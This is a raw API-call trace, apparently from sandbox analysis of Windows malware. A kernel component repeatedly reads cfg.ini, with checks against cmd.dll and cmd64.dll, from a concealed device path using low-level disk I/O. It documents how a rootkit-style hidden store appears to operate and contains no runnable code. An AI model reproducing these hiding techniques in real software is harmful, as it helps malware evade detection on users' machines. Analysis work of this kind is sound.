FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] KeLeaveCriticalRegion () [0123.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.185] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.185] KeEnterCriticalRegion () [0123.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] ExFreePoolWithTag (P=0xfffffa8003be9860, Tag=0x0) [0123.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.185] KeLeaveCriticalRegion () [0123.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.185] ReleaseMutex (hMutex=0xf0) returned 1 [0123.185] Sleep (dwMilliseconds=0x124f80) [0123.199] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.200] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.200] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.200] KeEnterCriticalRegion () [0123.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.200] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.200] IdePortDispatch () returned 0x103 [0123.200] KeWaitForMutexObject () returned 0x0 [0123.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.200] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.200] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.200] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.200] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.200] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.200] KeLeaveCriticalRegion () [0123.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.200] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.200] KeEnterCriticalRegion () [0123.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.200] KeLeaveCriticalRegion () [0123.200] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.200] KeEnterCriticalRegion () [0123.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.201] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.201] IdePortDispatch () returned 0x103 [0123.201] KeWaitForMutexObject () returned 0x0 [0123.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.201] KeLeaveCriticalRegion () [0123.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.201] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.201] KeEnterCriticalRegion () [0123.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dec000 [0123.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.201] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.201] IdePortDispatch () returned 0x103 [0123.201] KeWaitForMutexObject () returned 0x0 [0123.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.201] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.201] IdePortDispatch () returned 0x103 [0123.202] KeWaitForMutexObject () returned 0x0 [0123.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.202] KeLeaveCriticalRegion () [0123.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.203] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.203] KeEnterCriticalRegion () [0123.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] KeLeaveCriticalRegion () [0123.203] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.203] KeEnterCriticalRegion () [0123.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.203] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] KeLeaveCriticalRegion () [0123.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.203] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.203] KeEnterCriticalRegion () [0123.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.203] KeLeaveCriticalRegion () [0123.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.203] ReleaseMutex (hMutex=0xf0) returned 1 [0123.203] Sleep (dwMilliseconds=0x124f80) [0123.217] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.217] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.217] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.217] KeEnterCriticalRegion () [0123.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.218] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.218] IdePortDispatch () returned 0x103 [0123.218] KeWaitForMutexObject () returned 0x0 [0123.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.218] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.218] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.218] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.218] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.218] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beafb0 [0123.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.218] KeLeaveCriticalRegion () [0123.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.218] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.218] KeEnterCriticalRegion () [0123.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.218] KeLeaveCriticalRegion () [0123.218] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.218] KeEnterCriticalRegion () [0123.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.218] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.218] IdePortDispatch () returned 0x103 [0123.218] KeWaitForMutexObject () returned 0x0 [0123.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.219] KeLeaveCriticalRegion () [0123.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.219] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.219] KeEnterCriticalRegion () [0123.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.219] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df1000 [0123.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.219] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.219] IdePortDispatch () returned 0x103 [0123.219] KeWaitForMutexObject () returned 0x0 [0123.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.219] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.219] IdePortDispatch () returned 0x103 [0123.219] KeWaitForMutexObject () returned 0x0 [0123.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.219] KeLeaveCriticalRegion () [0123.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.220] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.220] KeEnterCriticalRegion () [0123.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] KeLeaveCriticalRegion () [0123.220] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.220] KeEnterCriticalRegion () [0123.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.220] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] KeLeaveCriticalRegion () [0123.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.220] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.220] KeEnterCriticalRegion () [0123.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] ExFreePoolWithTag (P=0xfffffa8003beafb0, Tag=0x0) [0123.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] KeLeaveCriticalRegion () [0123.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.220] ReleaseMutex (hMutex=0xf0) returned 1 [0123.220] Sleep (dwMilliseconds=0x124f80) [0123.235] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.235] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.235] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.235] KeEnterCriticalRegion () [0123.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.235] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.235] IdePortDispatch () returned 0x103 [0123.235] KeWaitForMutexObject () returned 0x0 [0123.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.235] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.235] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.235] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.235] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.235] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.235] KeLeaveCriticalRegion () [0123.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.235] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.235] KeEnterCriticalRegion () [0123.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.235] KeLeaveCriticalRegion () [0123.235] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.235] KeEnterCriticalRegion () [0123.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.235] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.235] IdePortDispatch () returned 0x103 [0123.235] KeWaitForMutexObject () returned 0x0 [0123.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.236] KeLeaveCriticalRegion () [0123.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.236] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.236] KeEnterCriticalRegion () [0123.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df6000 [0123.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.236] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.236] IdePortDispatch () returned 0x103 [0123.236] KeWaitForMutexObject () returned 0x0 [0123.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.236] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.236] IdePortDispatch () returned 0x103 [0123.236] KeWaitForMutexObject () returned 0x0 [0123.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.236] KeLeaveCriticalRegion () [0123.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.237] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.237] KeEnterCriticalRegion () [0123.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] KeLeaveCriticalRegion () [0123.237] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.237] KeEnterCriticalRegion () [0123.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] KeLeaveCriticalRegion () [0123.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.237] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.237] KeEnterCriticalRegion () [0123.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.237] KeLeaveCriticalRegion () [0123.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.237] ReleaseMutex (hMutex=0xf0) returned 1 [0123.237] Sleep (dwMilliseconds=0x124f80) [0123.252] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.252] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.252] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.252] KeEnterCriticalRegion () [0123.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.252] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.252] IdePortDispatch () returned 0x103 [0123.252] KeWaitForMutexObject () returned 0x0 [0123.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.252] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.252] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.252] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.252] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.252] FsRtlAllocatePool 